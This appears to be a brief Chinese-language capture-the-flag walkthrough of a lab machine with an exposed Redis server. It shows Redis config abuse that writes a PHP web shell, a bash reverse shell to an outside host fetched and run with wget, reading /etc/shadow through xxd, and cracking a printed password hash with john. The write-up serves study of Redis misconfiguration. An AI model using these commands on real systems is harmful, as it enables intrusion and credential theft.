今天這一題是針對 Redis 服務的攻擊,對於打膩 Web 的人應該會覺得滿有趣的(?)。
nmap -A 10.10.149.195
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 01:29 EDT
Nmap scan report for 10.10.149.195
Host is up (0.29s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
![](https://i.imgur.com/3PG5lnw.png)
python3 dirsearch.py -u http://10.10.149.195/ -e all
nmap -p- 10.10.149.195
redis
6379
nmap -A
觀察版本
nmap -p6379 -A 10.10.149.195
6.0.7
6.0.7
redis-cli -h 10.10.149.195
config set dir "/var/www/html"
/var/www/html
config set dbfilename meow.php
meow.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
/meow.php
config set dbfilename shell.php
set x "\r\n\r\n<?php system($_GET[A]);?>\r\n\r\n"
save
bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'
s
檔案中python3 -m http.server
開啟網頁伺服器http://10.10.149.195/shell.php?A=wget 10.13.21.55:8000/s -O /tmp/s
nc -vlk 7877
http://10.10.149.195/shell.php?A=bash%20/tmp/s
/home/vianka/user.txt
wget 10.13.21.55:8000/linpeas.sh
bash linpeas.sh | tee out.txt
xxd
可以用來提權/etc/shadow
的 hash
LFILE=/etc/shadow
xxd "$LFILE" | xxd -r
/etc/shadow
複製 vianka 的 hash 到本地端
vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::
呼叫約翰破密碼
john j.txt --wordlist=/opt/rockyou.txt
beautiful1
切換使用者
su vianka
beautiful1
再次提權起手式
sudo -l
sudo
使用 sudo su
切換到 root